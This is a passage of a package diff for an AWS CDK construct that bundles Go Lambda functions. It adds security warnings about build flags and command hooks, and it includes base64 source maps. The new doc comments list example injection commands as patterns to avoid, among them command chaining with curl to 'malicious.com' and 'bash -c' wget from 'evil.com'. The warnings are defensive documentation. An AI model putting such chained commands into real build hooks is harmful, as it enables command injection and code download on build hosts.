NBQUMsWUFBWSxDQUNwQywwREFBMEQsRUFDMUQsMEtBQTBLLENBQzNLLENBQUM7WUFDSixDQUFDO1lBRUQsSUFBSSxLQUFLLENBQUMsUUFBUSxFQUFFLFlBQVksRUFBRSxjQUFjLElBQUksS0FBSyxDQUFDLFFBQVEsRUFBRSxZQUFZLEVBQUUsYUFBYSxFQUFFLENBQUM7Z0JBQ2hHLEdBQUcsQ0FBQyxXQUFXLENBQUMsRUFBRSxDQUFDLEtBQUssQ0FBQyxDQUFDLFlBQVksQ0FDcEMsMERBQTBELEVBQzFELDZLQUE2SyxDQUM5SyxDQUFDO1lBQ0osQ0FBQztZQUVELEtBQUssQ0FBQyxLQUFLLEVBQUUsRUFBRSxFQUFFO2dCQUNmLEdBQUcsS0FBSztnQkFDUixPQUFPO2dCQUNQLElBQUksRUFBRSxtQkFBUSxDQUFDLE1BQU0sQ0FBQztvQkFDcEIsR0FBRyxLQUFLLENBQUMsUUFBUSxJQUFJLEVBQUU7b0JBQ3ZCLEtBQUs7b0JBQ0wsT0FBTztvQkFDUCxZQUFZO29CQUNaLFNBQVM7aUJBQ1YsQ0FBQztnQkFDRixPQUFPLEVBQUUsV0FBVyxFQUFFLDRFQUE0RTthQUNuRyxDQUFDLENBQUM7WUFFSCxtQ0FBbUM7WUFDbkMsSUFBQSx3Q0FBb0IsRUFBQyxJQUFJLEVBQUUsS0FBSyxDQUFDLENBQUM7U0FDbkM7O1lBdEVVLHVEQUFVOzs7OztBQUFWLGdDQUFVIiwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0ICogYXMgZnMgZnJvbSAnZnMnO1xuaW1wb3J0ICogYXMgcGF0aCBmcm9tICdwYXRoJztcbmltcG9ydCAqIGFzIGxhbWJkYSBmcm9tICdhd3MtY2RrLWxpYi9hd3MtbGFtYmRhJztcbmltcG9ydCAqIGFzIGNkayBmcm9tICdhd3MtY2RrLWxpYi9jb3JlJztcbmltcG9ydCB7IENvbnN0cnVjdCB9IGZyb20gJ2NvbnN0cnVjdHMnO1xuaW1wb3J0IHsgQnVuZGxpbmcgfSBmcm9tICcuL2J1bmRsaW5nJztcbmltcG9ydCB7IEJ1bmRsaW5nT3B0aW9ucyB9IGZyb20gJy4vdHlwZXMnO1xuaW1wb3J0IHsgZmluZFVwIH0gZnJvbSAnLi91dGlsJztcbmltcG9ydCB7IGFkZENvbnN0cnVjdE1ldGFkYXRhIH0gZnJvbSAnYXdzLWNkay1saWIvY29yZS9saWIvbWV0YWRhdGEtcmVzb3VyY2UnO1xuaW1wb3J0IHsgcHJvcGVydHlJbmplY3RhYmxlIH0gZnJvbSAnYXdzLWNkay1saWIvY29yZS9saWIvcHJvcC1pbmplY3RhYmxlJztcblxuLyoqXG4gKiBQcm9wZXJ0aWVzIGZvciBhIEdvbGFuZ0Z1bmN0aW9uXG4gKi9cbmV4cG9ydCBpbnRlcmZhY2UgR29GdW5jdGlvblByb3BzIGV4dGVuZHMgbGFtYmRhLkZ1bmN0aW9uT3B0aW9ucyB7XG4gIC8qKlxuICAgKiBUaGUgcGF0aCB0byB0aGUgZm9sZGVyIG9yIGZpbGUgdGhhdCBjb250YWlucyB0aGUgbWFpbiBhcHBsaWNhdGlvbiBlbnRyeSBwb2ludCBmaWxlcyBmb3IgdGhlIHByb2plY3QuXG4gICAqXG4gICAqIFRoaXMgYWNjZXB0cyBlaXRoZXIgYSBwYXRoIHRvIGEgZGlyZWN0b3J5IG9yIGZpbGUuXG4gICAqXG4gICAqIElmIGEgZGlyZWN0b3J5IHBhdGggaXMgcHJvdmlkZWQgdGhlbiBpdCB3aWxsIGFzc3VtZSB0aGVyZSBpcyBhIEdvIGVudHJ5IGZpbGUgKGkuZS4gYG1haW4uZ29gKSBhbmRcbiAgICogd2lsbCBjb25zdHJ1Y3QgdGhlIGJ1aWxkIGNvbW1hbmQgdXNpbmcgdGhlIGRpcmVjdG9yeSBwYXRoLlxuICAgKlxuICAgKiBGb3IgZXhhbXBsZSwgaWYgeW91IHByb3ZpZGUgdGhlIGVudHJ5IGFzOlxuICAgKlxuICAgKiAgICAgZW50cnk6ICdteS1sYW1iZGEtYXBwL2NtZC9hcGknXG4gICAqXG4gICAqIFRoZW4gdGhlIGBnbyBidWlsZGAgY29tbWFuZCB3b3VsZCBiZTpcbiAgICpcbiAgICogICAgIGBnbyBidWlsZCAuL2NtZC9hcGlgXG4gICAqXG4gICAqIElmIGEgcGF0aCB0byBhIGZpbGUgaXMgcHJvdmlkZWQgdGhlbiBpdCB3aWxsIHVzZSB0aGUgZmlsZXBhdGggaW4gdGhlIGJ1aWxkIGNvbW1hbmQuXG4gICAqXG4gICAqIEZvciBleGFtcGxlLCBpZiB5b3UgcHJvdmlkZSB0aGUgZW50cnkgYXM6XG4gICAqXG4gICAqICAgICBlbnRyeTogJ215LWxhbWJkYS1hcHAvY21kL2FwaS9tYWluLmdvJ1xuICAgKlxuICAgKiBUaGVuIHRoZSBgZ28gYnVpbGRgIGNvbW1hbmQgd291bGQgYmU6XG4gICAqXG4gICAqICAgICBgZ28gYnVpbGQgLi9jbWQvYXBpL21haW4uZ29gXG4gICAqL1xuICByZWFkb25seSBlbnRyeTogc3RyaW5nO1xuXG4gIC8qKlxuICAgKiBUaGUgcnVudGltZSBlbnZpcm9ubWVudC4gT25seSBydW50aW1lcyBvZiB0aGUgR29sYW5nIGZhbWlseSBhbmQgcHJvdmlkZWQgZmFtaWx5IGFyZSBzdXBwb3J0ZWQuXG4gICAqXG4gICAqIEBkZWZhdWx0IGxhbWJkYS5SdW50aW1lLlBST1ZJREVEX0FMMlxuICAgKi9cbiAgcmVhZG9ubHkgcnVudGltZT86IGxhbWJkYS5SdW50aW1lO1xuXG4gIC8qKlxuICAgKiBEaXJlY3RvcnkgY29udGFpbmluZyB5b3VyIGdvLm1vZCBmaWxlXG4gICAqXG4gICAqIFRoaXMgd2lsbCBhY2NlcHQgZWl0aGVyIGEgZGlyZWN0b3J5IHBhdGggY29udGFpbmluZyBhIGBnby5tb2RgIGZpbGVcbiAgICogb3IgYSBmaWxlcGF0aCB0byB5b3VyIGBnby5tb2RgIGZpbGUgKGkuZS4gYHBhdGgvdG8vZ28ubW9kYCkuXG4gICAqXG4gICAqIFRoaXMgd2lsbCBiZSB1c2VkIGFzIHRoZSBzb3VyY2Ugb2YgdGhlIHZvbHVtZSBtb3VudGVkIGluIHRoZSBEb2NrZXJcbiAgICogY29udGFpbmVyIGFuZCB3aWxsIGJlIHRoZSBkaXJlY3Rvcnkgd2hlcmUgaXQgd2lsbCBydW4gYGdvIGJ1aWxkYCBmcm9tLlxuICAgKlxuICAgKiBAZGVmYXVsdCAtIHRoZSBwYXRoIGlzIGZvdW5kIGJ5IHdhbGtpbmcgdXAgcGFyZW50IGRpcmVjdG9yaWVzIHNlYXJjaGluZyBmb3JcbiAgICogIGEgYGdvLm1vZGAgZmlsZSBmcm9tIHRoZSBsb2NhdGlvbiBvZiBgZW50cnlgXG4gICAqL1xuICByZWFkb25seSBtb2R1bGVEaXI/OiBzdHJpbmc7XG5cbiAgLyoqXG4gICAqIEJ1bmRsaW5nIG9wdGlvbnNcbiAgICpcbiAgICogQGRlZmF1bHQgLSB1c2UgZGVmYXVsdCBidW5kbGluZyBvcHRpb25zXG4gICAqL1xuICByZWFkb25seSBidW5kbGluZz86IEJ1bmRsaW5nT3B0aW9ucztcbn1cblxuLyoqXG4gKiBBIEdvbGFuZyBMYW1iZGEgZnVuY3Rpb25cbiAqL1xuQHByb3BlcnR5SW5qZWN0YWJsZVxuZXhwb3J0IGNsYXNzIEdvRnVuY3Rpb24gZXh0ZW5kcyBsYW1iZGEuRnVuY3Rpb24ge1xuICAvKiogVW5pcXVlbHkgaWRlbnRpZmllcyB0aGlzIGNsYXNzLiAqL1xuICBwdWJsaWMgc3RhdGljIHJlYWRvbmx5IFBST1BFUlRZX0lOSkVDVElPTl9JRDogc3RyaW5nID0gJ0Bhd3MtY2RrLmF3cy1sYW1iZGEtZ28tYWxwaGEuR29GdW5jdGlvbic7XG4gIC8qKlxuICAgKiBUaGUgYWRkcmVzcyBvZiB0aGUgR29vZ2xlIEdvIHByb3h5XG4gICAqL1xuICBwdWJsaWMgc3RhdGljIHJlYWRvbmx5IEdPT0dMRV9HT1BST1hZID0gJ2h0dHBzOi8vcHJveHkuZ29sYW5nLm9yZyc7XG5cbiAgY29uc3RydWN0b3Ioc2NvcGU6IENvbnN0cnVjdCwgaWQ6IHN0cmluZywgcHJvcHM6IEdvRnVuY3Rpb25Qcm9wcykge1xuICAgIGlmIChwcm9wcy5ydW50aW1lICYmIChwcm9wcy5ydW50aW1lLmZhbWlseSAhPT0gbGFtYmRhLlJ1bnRpbWVGYW1pbHkuR08gJiYgcHJvcHMucnVudGltZS5mYW1pbHkgIT0gbGFtYmRhLlJ1bnRpbWVGYW1pbHkuT1RIRVIpKSB7XG4gICAgICB0aHJvdyBuZXcgRXJyb3IoJ09ubHkgYGdvYCBhbmQgYHByb3ZpZGVkYCBydW50aW1lcyBhcmUgc3VwcG9ydGVkLicpO1xuICAgIH1cblxuICAgIGNvbnN0IGVudHJ5ID0gcGF0aC5yZXNvbHZlKHByb3BzLmVudHJ5KTtcblxuICAgIC8vIEZpbmQgdGhlIHByb2plY3Qgcm9vdFxuICAgIGxldCBtb2R1bGVEaXI6IHN0cmluZztcbiAgICBpZiAocHJvcHMubW9kdWxlRGlyKSB7XG4gICAgICBjb25zdCBwYXJzZWRNb2R1bGVEaXIgPSBwYXRoLnBhcnNlKHByb3BzLm1vZHVsZURpcik7XG4gICAgICBpZiAocGFyc2VkTW9kdWxlRGlyLmJhc2UgJiYgcGFyc2VkTW9kdWxlRGlyLmV4dCAmJiBwYXJzZWRNb2R1bGVEaXIuYmFzZSA9PT0gJ2dvLm1vZCcpIHtcbiAgICAgICAgaWYgKCFmcy5leGlzdHNTeW5jKHByb3BzLm1vZHVsZURpcikpIHtcbiAgICAgICAgICB0aHJvdyBuZXcgRXJyb3IoYGdvLm1vZCBmaWxlIGF0ICR7cHJvcHMubW9kdWxlRGlyfSBkb2Vzbid0IGV4aXN0YCk7XG4gICAgICAgIH1cbiAgICAgIH0gZWxzZSBpZiAocGFyc2VkTW9kdWxlRGlyLmJhc2UgJiYgcGFyc2VkTW9kdWxlRGlyLmV4dCAmJiBwYXJzZWRNb2R1bGVEaXIuYmFzZSAhPSAnZ28ubW9kJykge1xuICAgICAgICB0aHJvdyBuZXcgRXJyb3IoJ21vZHVsZURpciBpcyBzcGVjaWZ5aW5nIGEgZmlsZSB0aGF0IGlzIG5vdCBnby5tb2QnKTtcbiAgICAgIH0gZWxzZSBpZiAoIWZzLmV4aXN0c1N5bmMocGF0aC5qb2luKHByb3BzLm1vZHVsZURpciwgJ2dvLm1vZCcpKSkge1xuICAgICAgICB0aHJvdyBuZXcgRXJyb3IoYGdvLm1vZCBmaWxlIGF0ICR7cHJvcHMubW9kdWxlRGlyfSBkb2Vzbid0IGV4aXN0YCk7XG4gICAgICB9XG4gICAgICBtb2R1bGVEaXIgPSBwcm9wcy5tb2R1bGVEaXI7XG4gICAgfSBlbHNlIHtcbiAgICAgIGNvbnN0IG1vZEZpbGUgPSBmaW5kVXAoJ2dvLm1vZCcsIGVudHJ5KTtcbiAgICAgIGlmICghbW9kRmlsZSkge1xuICAgICAgICB0aHJvdyBuZXcgRXJyb3IgKCdDYW5ub3QgZmluZCBnby5tb2QuIFBsZWFzZSBzcGVjaWZ5IGl0IHdpdGggYG1vZHVsZURpcmAuJyk7XG4gICAgICB9XG4gICAgICBtb2R1bGVEaXIgPSBtb2RGaWxlO1xuICAgIH1cblxuICAgIGNvbnN0IHJ1bnRpbWUgPSBwcm9wcy5ydW50aW1lID8/IGxhbWJkYS5SdW50aW1lLlBST1ZJREVEX0FMMjtcbiAgICBjb25zdCBhcmNoaXRlY3R1cmUgPSBwcm9wcy5hcmNoaXRlY3R1cmUgPz8gbGFtYmRhLkFyY2hpdGVjdHVyZS5YODZfNjQ7XG5cbiAgICAvLyBTZWN1cml0eSB3YXJuaW5ncyBmb3IgcG90ZW50aWFsbHkgdW5zYWZlIGJ1bmRsaW5nIG9wdGlvbnNcbiAgICBpZiAocHJvcHMuYnVuZGxpbmc/LmdvQnVpbGRGbGFncz8ubGVuZ3RoKSB7XG4gICAgICBjZGsuQW5ub3RhdGlvbnMub2Yoc2NvcGUpLmFkZFdhcm5pbmdWMihcbiAgICAgICAgJ0Bhd3MtY2RrL2F3cy1sYW1iZGEtZ28tYWxwaGE6Z29CdWlsZEZsYWdzU2VjdXJpdHlXYXJuaW5nJyxcbiAgICAgICAgJ2dvQnVpbGRGbGFncyBjYW4gZXhlY3V0ZSBhcmJpdHJhcnkgY29tbWFuZHMgZHVyaW5nIGJ1bmRsaW5nLiBFbnN1cmUgYWxsIGZsYWdzIGNvbWUgZnJvbSB0cnVzdGVkIHNvdXJjZXMuIFNlZTogaHR0cHM6Ly9kb2NzLmF3cy5hbWF6b24uY29tL2Nkay9sYXRlc3QvZ3VpZGUvc2VjdXJpdHkuaHRtbCcsXG4gICAgICApO1xuICAgIH1cblxuICAgIGlmIChwcm9wcy5idW5kbGluZz8uY29tbWFuZEhvb2tzPy5iZWZvcmVCdW5kbGluZyB8fCBwcm9wcy5idW5kbGluZz8uY29tbWFuZEhvb2tzPy5hZnRlckJ1bmRsaW5nKSB7XG4gICAgICBjZGsuQW5ub3RhdGlvbnMub2Yoc2NvcGUpLmFkZFdhcm5pbmdWMihcbiAgICAgICAgJ0Bhd3MtY2RrL2F3cy1sYW1iZGEtZ28tYWxwaGE6Y29tbWFuZEhvb2tzU2VjdXJpdHlXYXJuaW5nJyxcbiAgICAgICAgJ2NvbW1hbmRIb29rcyBjYW4gZXhlY3V0ZSBhcmJpdHJhcnkgY29tbWFuZHMgZHVyaW5nIGJ1bmRsaW5nLiBFbnN1cmUgYWxsIGNvbW1hbmRzIGNvbWUgZnJvbSB0cnVzdGVkIHNvdXJjZXMuIFNlZTogaHR0cHM6Ly9kb2NzLmF3cy5hbWF6b24uY29tL2Nkay9sYXRlc3QvZ3VpZGUvc2VjdXJpdHkuaHRtbCcsXG4gICAgICApO1xuICAgIH1cblxuICAgIHN1cGVyKHNjb3BlLCBpZCwge1xuICAgICAgLi4ucHJvcHMsXG4gICAgICBydW50aW1lLFxuICAgICAgY29kZTogQnVuZGxpbmcuYnVuZGxlKHtcbiAgICAgICAgLi4ucHJvcHMuYnVuZGxpbmcgPz8ge30sXG4gICAgICAgIGVudHJ5LFxuICAgICAgICBydW50aW1lLFxuICAgICAgICBhcmNoaXRlY3R1cmUsXG4gICAgICAgIG1vZHVsZURpcixcbiAgICAgIH0pLFxuICAgICAgaGFuZGxlcjogJ2Jvb3RzdHJhcCcsIC8vIHNldHRpbmcgbmFtZSB0byBib290c3RyYXAgc28gdGhhdCB0aGUgJ3Byb3ZpZGVkJyBydW50aW1lIGNhbiBhbHNvIGJlIHVzZWRcbiAgICB9KTtcblxuICAgIC8vIEVuaGFuY2VkIENESyBBbmFseXRpY3MgVGVsZW1ldHJ5XG4gICAgYWRkQ29uc3RydWN0TWV0YWRhdGEodGhpcywgcHJvcHMpO1xuICB9XG59XG5cbiJdfQ==
package/lib/types.d.ts CHANGED
@@ -22,6 +22,11 @@ export interface BundlingOptions extends DockerRunOptions {
22
22
  * For example:
23
23
  * ['ldflags "-s -w"']
24
24
  *
25
+ * ⚠️ **Security Warning**: These flags are passed directly to the Go build command.
26
+ * Only use trusted values as they can execute arbitrary commands during bundling.
27
+ * Avoid flags like `-toolexec` with untrusted arguments, and be cautious with
28
+ * third-party CDK constructs that may contain malicious build flags.
29
+ *
25
30
  * @default - none
26
31
  */
27
32
  readonly goBuildFlags?: string[];
@@ -72,6 +77,10 @@ export interface BundlingOptions extends DockerRunOptions {
72
77
  /**
73
78
  * Command hooks
74
79
  *
80
+ * ⚠️ **Security Warning**: Commands are executed directly in the shell environment.
81
+ * Only use trusted commands from verified sources. Avoid shell metacharacters
82
+ * that could enable command injection attacks.
83
+ *
75
84
  * @default - do not run additional commands
76
85
  */
77
86
  readonly commandHooks?: ICommandHooks;
@@ -116,28 +125,48 @@ export interface BundlingOptions extends DockerRunOptions {
116
125
  * These commands will run in the environment in which bundling occurs: inside
117
126
  * the container for Docker bundling or on the host OS for local bundling.
118
127
  *
128
+ * ⚠️ **Security Warning**: Commands are executed directly in the shell environment.
129
+ * Only use trusted commands and avoid shell metacharacters that could enable
130
+ * command injection attacks.
131
+ *
132
+ * **Safe patterns (cross-platform):**
133
+ * - `go test ./...` - Standard Go commands work on all platforms
134
+ * - `go mod tidy` - Go module commands
135
+ * - `echo "Building"` - Simple output with quotes
136
+ * - `make clean` - Build tools (if available)
137
+ *
138
+ * **Dangerous patterns to avoid:**
139
+ *
140
+ * *Windows:*
141
+ * - `go test & curl.exe malicious.com` (command chaining)
142
+ * - `echo %USERPROFILE%` (environment variable expansion)
143
+ * - `powershell -Command "..."` (PowerShell execution)
144
+ *
145
+ * *Unix/Linux/macOS:*
146
+ * - `go test; curl malicious.com` (command chaining)
147
+ * - `echo $(whoami)` (command substitution)
148
+ * - `bash -c "wget evil.com"` (shell execution)
149
+ *
119
150
  * Commands are chained with `&&`.
120
151
  *
121
- * ```text
122
- * {
123
- * // Run tests prior to bundling
124
- * beforeBundling(inputDir: string, outputDir: string): string[] {
125
- * return [`go test -mod=vendor ./...`];
126
- * }
127
- * // ...
128
- * }
129
- * ```
152
+ * @see https://docs.aws.amazon.com/cdk/latest/guide/security.html
130
153
  */
131
154
  export interface ICommandHooks {
132
155
  /**
133
156
  * Returns commands to run before bundling.
134
157
  *
158
+ * ⚠️ **Security Warning**: Ensure commands come from trusted sources only.
159
+ * Commands are executed directly in the shell environment.
160
+ *
135
161
  * Commands are chained with `&&`.
136
162
  */
137
163
  beforeBundling(inputDir: string, outputDir: string): string[];
138
164
  /**
139
165
  * Returns commands to run after bundling.
140
166
  *
167
+ * ⚠️ **Security Warning**: Ensure commands come from trusted sources only.
168
+ * Commands are executed directly in the shell environment.
169
+ *
141
170
  * Commands are chained with `&&`.
142
171
  */
143
172
  afterBundling(inputDir: string, outputDir: string): string[];
package/lib/types.js CHANGED
@@ -1,3 +1,3 @@
1
1
  "use strict";
2
2
  Object.defineProperty(exports, "__esModule", { value: true });
3
- //# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoidHlwZXMuanMiLCJzb3VyY2VSb290IjoiIiwic291cmNlcyI6WyJ0eXBlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiIiwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0IHsgQXNzZXRIYXNoVHlwZSwgQnVuZGxpbmdGaWxlQWNjZXNzLCBEb2NrZXJJbWFnZSwgRG9ja2VyUnVuT3B0aW9ucyB9IGZyb20gJ2F3cy1jZGstbGliL2NvcmUnO1xuXG4vKipcbiAqIEJ1bmRsaW5nIG9wdGlvbnNcbiAqL1xuZXhwb3J0IGludGVyZmFjZSBCdW5kbGluZ09wdGlvbnMgZXh0ZW5kcyBEb2NrZXJSdW5PcHRpb25zIHtcbiAgLyoqXG4gICAqIEZvcmNlIGJ1bmRsaW5nIGluIGEgRG9ja2VyIGNvbnRhaW5lciBldmVuIGlmIGxvY2FsIGJ1bmRsaW5nIGlzXG4gICAqIHBvc3NpYmxlLlxuICAgKlxuICAgKiBAZGVmYXVsdCAtIGZhbHNlXG4gICAqL1xuICByZWFkb25seSBmb3JjZWREb2NrZXJCdW5kbGluZz86IGJvb2xlYW47XG5cbiAgLyoqXG4gICAqIEEgY3VzdG9tIGJ1bmRsaW5nIERvY2tlciBpbWFnZS5cbiAgICpcbiAgICogQGRlZmF1bHQgLSB1c2UgdGhlIERvY2tlciBpbWFnZSBwcm92aWRlZCBieSBAYXdzLWNkay9hd3MtbGFtYmRhLWdvLWFscGhhXG4gICAqL1xuICByZWFkb25seSBkb2NrZXJJbWFnZT86IERvY2tlckltYWdlO1xuXG4gIC8qKlxuICAgKiBMaXN0IG9mIGFkZGl0aW9uYWwgZmxhZ3MgdG8gdXNlIHdoaWxlIGJ1aWxkaW5nLlxuICAgKlxuICAgKiBGb3IgZXhhbXBsZTpcbiAgICogWydsZGZsYWdzIFwiLXMgLXdcIiddXG4gICAqXG4gICAqIEBkZWZhdWx0IC0gbm9uZVxuICAgKi9cbiAgcmVhZG9ubHkgZ29CdWlsZEZsYWdzPzogc3RyaW5nW107XG5cbiAgLyoqXG4gICAqIEJ1aWxkIGFyZ3VtZW50cyB0byBwYXNzIHdoZW4gYnVpbGRpbmcgdGhlIGJ1bmRsaW5nIGltYWdlLlxuICAgKlxuICAgKiBAZGVmYXVsdCAtIG5vIGJ1aWxkIGFyZ3VtZW50cyBhcmUgcGFzc2VkXG4gICAqL1xuICByZWFkb25seSBidWlsZEFyZ3M/OiB7IFtrZXk6c3RyaW5nXSA6IHN0cmluZyB9O1xuXG4gIC8qKlxuICAgKiBEZXRlcm1pbmVzIGhvdyB0aGUgYXNzZXQgaGFzaCBpcyBjYWxjdWxhdGVkLiBBc3NldHMgd2lsbFxuICAgKiBnZXQgcmVidWlsdCBhbmQgdXBsb2FkZWQgb25seSBpZiB0aGVpciBoYXNoIGhhcyBjaGFuZ2VkLlxuICAgKlxuICAgKiBJZiB0aGUgYXNzZXQgaGFzaCBpcyBzZXQgdG8gYE9VVFBVVGAgKGRlZmF1bHQpLCB0aGUgaGFzaCBpcyBjYWxjdWxhdGVkXG4gICAqIGFmdGVyIGJ1bmRsaW5nLiBUaGlzIG1lYW5zIHRoYXQgYW55IGNoYW5nZSBpbiB0aGUgb3V0cHV0IHdpbGwgY2F1c2VcbiAgICogdGhlIGFzc2V0IHRvIGJlIGludmFsaWRhdGVkIGFuZCB1cGxvYWRlZC4gQmVhciBpbiBtaW5kIHRoYXQgdGhlXG4gICAqIGdvIGJpbmFyeSB0aGF0IGlzIG91dHB1dCBjYW4gYmUgZGlmZmVyZW50IGRlcGVuZGluZyBvbiB0aGUgZW52aXJvbm1lbnRcbiAgICogdGhhdCBpdCB3YXMgY29tcGlsZWQgaW4uIElmIHlvdSB3YW50IHRvIGNvbnRyb2wgd2hlbiB0aGUgb3V0cHV0IGlzIGNoYW5nZWRcbiAgICogaXQgaXMgcmVjb21tZW5kZWQgdGhhdCB5b3UgdXNlIGltbXV0YWJsZSBidWlsZCBpbWFnZXMgc3VjaCBhc1xuICAgKiBgcHVibGljLmVjci5hd3MvYml0bmFtaS9nb2xhbmc6MS4xNi4zLWRlYmlhbi0xMC1yMTZgLlxuICAgKlxuICAgKiBJZiB0aGUgYXNzZXQgaGFzaCBpcyBzZXQgdG8gYFNPVVJDRWAsIHRoZW4gb25seSBjaGFuZ2VzIHRvIHRoZSBzb3VyY2VcbiAgICogZGlyZWN0b3J5IHdpbGwgY2F1c2UgdGhlIGFzc2V0IHRvIHJlYnVpbGQuIElmIHlvdXIgZ28gcHJvamVjdCBoYXMgbXVsdGlwbGVcbiAgICogTGFtYmRhIGZ1bmN0aW9ucyB0aGlzIG1lYW5zIHRoYXQgYW4gdXBkYXRlIHRvIGFueSBvbmUgZnVuY3Rpb24gY291bGQgY2F1c2VcbiAgICogYWxsIHRoZSBmdW5jdGlvbnMgdG8gYmUgcmVidWlsdCBhbmQgdXBsb2FkZWQuXG4gICAqXG4gICAqIEBkZWZhdWx0IC0gQXNzZXRIYXNoVHlwZS5PVVRQVVQuIElmIGBhc3NldEhhc2hgIGlzIGFsc28gc3BlY2lmaWVkLFxuICAgKiB0aGUgZGVmYXVsdCBpcyBgQ1VTVE9NYC5cbiAgICovXG4gIHJlYWRvbmx5IGFzc2V0SGFzaFR5cGU/OiBBc3NldEhhc2hUeXBlO1xuXG4gIC8qKlxuICAgKiBTcGVjaWZ5IGEgY3VzdG9tIGhhc2ggZm9yIHRoaXMgYXNzZXQuIElmIGBhc3NldEhhc2hUeXBlYCBpcyBzZXQgaXQgbXVzdFxuICAgKiBiZSBzZXQgdG8gYEFzc2V0SGFzaFR5cGUuQ1VTVE9NYC4gRm9yIGNvbnNpc3RlbmN5LCB0aGlzIGN1c3RvbSBoYXNoIHdpbGxcbiAgICogYmUgU0hBMjU2IGhhc2hlZCBhbmQgZW5jb2RlZCBhcyBoZXguIFRoZSByZXN1bHRpbmcgaGFzaCB3aWxsIGJlIHRoZSBhc3NldFxuICAgKiBoYXNoLlxuICAgKlxuICAgKiBOT1RFOiB0aGUgaGFzaCBpcyB1c2VkIGluIG9yZGVyIHRvIGlkZW50aWZ5IGEgc3BlY2lmaWMgcmV2aXNpb24gb2YgdGhlIGFzc2V0LCBhbmRcbiAgICogdXNlZCBmb3Igb3B0aW1pemluZyBhbmQgY2FjaGluZyBkZXBsb3ltZW50IGFjdGl2aXRpZXMgcmVsYXRlZCB0byB0aGlzIGFzc2V0IHN1Y2ggYXNcbiAgICogcGFja2FnaW5nLCB1cGxvYWRpbmcgdG8gQW1hem9uIFMzLCBldGMuIElmIHlvdSBjaG9zZSB0byBjdXN0b21pemUgdGhlIGhhc2gsIHlvdSB3aWxsXG4gICAqIG5lZWQgdG8gbWFrZSBzdXJlIGl0IGlzIHVwZGF0ZWQgZXZlcnkgdGltZSB0aGUgYXNzZXQgY2hhbmdlcywgb3Igb3RoZXJ3aXNlIGl0IGlzXG4gICAqIHBvc3NpYmxlIHRoYXQgc29tZSBkZXBsb3ltZW50cyB3aWxsIG5vdCBiZSBpbnZhbGlkYXRlZC5cbiAgICpcbiAgICogQGRlZmF1bHQgLSBiYXNlZCBvbiBgYXNzZXRIYXNoVHlwZWBcbiAgICovXG4gIHJlYWRvbmx5IGFzc2V0SGFzaD86IHN0cmluZztcblxuICAvKipcbiAgICogQ29tbWFuZCBob29rc1xuICAgKlxuICAgKiBAZGVmYXVsdCAtIGRvIG5vdCBydW4gYWRkaXRpb25hbCBjb21tYW5kc1xuICAgKi9cbiAgcmVhZG9ubHkgY29tbWFuZEhvb2tzPzogSUNvbW1hbmRIb29rcztcblxuICAvKipcbiAgICogV2hldGhlciBvciBub3QgdG8gZW5hYmxlIGNnbyBkdXJpbmcgZ28gYnVpbGRcbiAgICpcbiAgICogVGhpcyB3aWxsIHNldCB0aGUgQ0dPX0VOQUJMRUQgZW52aXJvbm1lbnQgdmFyaWFibGVcbiAgICpcbiAgICogQGRlZmF1bHQgLSBmYWxzZVxuICAgKi9cbiAgcmVhZG9ubHkgY2dvRW5hYmxlZD86IGJvb2xlYW47XG5cbiAgLyoqXG4gICAqIFdoYXQgR28gcHJveGllcyB0byB1c2UgdG8gZmV0Y2ggdGhlIHBhY2thZ2VzIGludm9sdmVkIGluIHRoZSBidWlsZFxuICAgKlxuICAgKiBQYXNzIGEgbGlzdCBvZiBwcm94eSBhZGRyZXNzZXMgaW4gb3JkZXIsIGFuZC9vciB0aGUgc3RyaW5nIGAnZGlyZWN0J2AgdG9cbiAgICogYXR0ZW1wdCBkaXJlY3QgYWNjZXNzLlxuICAgKlxuICAgKiBCeSBkZWZhdWx0IHRoaXMgY29uc3RydWN0IHVzZXMgbm8gcHJveGllcywgYnV0IGEgc3RhbmRhcmQgR28gaW5zdGFsbCB3b3VsZFxuICAgKiB1c2UgdGhlIEdvb2dsZSBwcm94eSBieSBkZWZhdWx0LiBUbyByZWNyZWF0ZSB0aGF0IGJlaGF2aW9yLCBkbyB0aGUgZm9sbG93aW5nOlxuICAgKlxuICAgKiBgYGB0c1xuICAgKiBuZXcgZ28uR29GdW5jdGlvbih0aGlzLCAnR29GdW5jdGlvbicsIHtcbiAgICogICBlbnRyeTogJ2FwcC9jbWQvYXBpJyxcbiAgICogICBidW5kbGluZzoge1xuICAgKiAgICAgZ29Qcm94aWVzOiBbZ28uR29GdW5jdGlvbi5HT09HTEVfR09QUk9YWSwgJ2RpcmVjdCddLFxuICAgKiAgIH0sXG4gICAqIH0pO1xuICAgKiBgYGBcbiAgICpcbiAgICogQGRlZmF1bHQgLSBEaXJlY3QgYWNjZXNzXG4gICAqL1xuICByZWFkb25seSBnb1Byb3hpZXM/OiBzdHJpbmdbXTtcblxuICAvKipcbiAgICogV2hpY2ggb3B0aW9uIHRvIHVzZSB0byBjb3B5IHRoZSBzb3VyY2UgZmlsZXMgdG8gdGhlIGRvY2tlciBjb250YWluZXIgYW5kIG91dHB1dCBmaWxlcyBiYWNrXG4gICAqIEBkZWZhdWx0IC0gQnVuZGxpbmdGaWxlQWNjZXNzLkJJTkRfTU9VTlRcbiAgICovXG4gIHJlYWRvbmx5IGJ1bmRsaW5nRmlsZUFjY2Vzcz86IEJ1bmRsaW5nRmlsZUFjY2Vzcztcbn1cblxuLyoqXG4gKiBDb21tYW5kIGhvb2tzXG4gKlxuICogVGhlc2UgY29tbWFuZHMgd2lsbCBydW4gaW4gdGhlIGVudmlyb25tZW50IGluIHdoaWNoIGJ1bmRsaW5nIG9jY3VyczogaW5zaWRlXG4gKiB0aGUgY29udGFpbmVyIGZvciBEb2NrZXIgYnVuZGxpbmcgb3Igb24gdGhlIGhvc3QgT1MgZm9yIGxvY2FsIGJ1bmRsaW5nLlxuICpcbiAqIENvbW1hbmRzIGFyZSBjaGFpbmVkIHdpdGggYCYmYC5cbiAqXG4gKiBgYGB0ZXh0XG4gKiB7XG4gKiAgIC8vIFJ1biB0ZXN0cyBwcmlvciB0byBidW5kbGluZ1xuICogICBiZWZvcmVCdW5kbGluZyhpbnB1dERpcjogc3RyaW5nLCBvdXRwdXREaXI6IHN0cmluZyk6IHN0cmluZ1tdIHtcbiAqICAgICByZXR1cm4gW2BnbyB0ZXN0IC1tb2Q9dmVuZG9yIC4vLi4uYF07XG4gKiAgIH1cbiAqI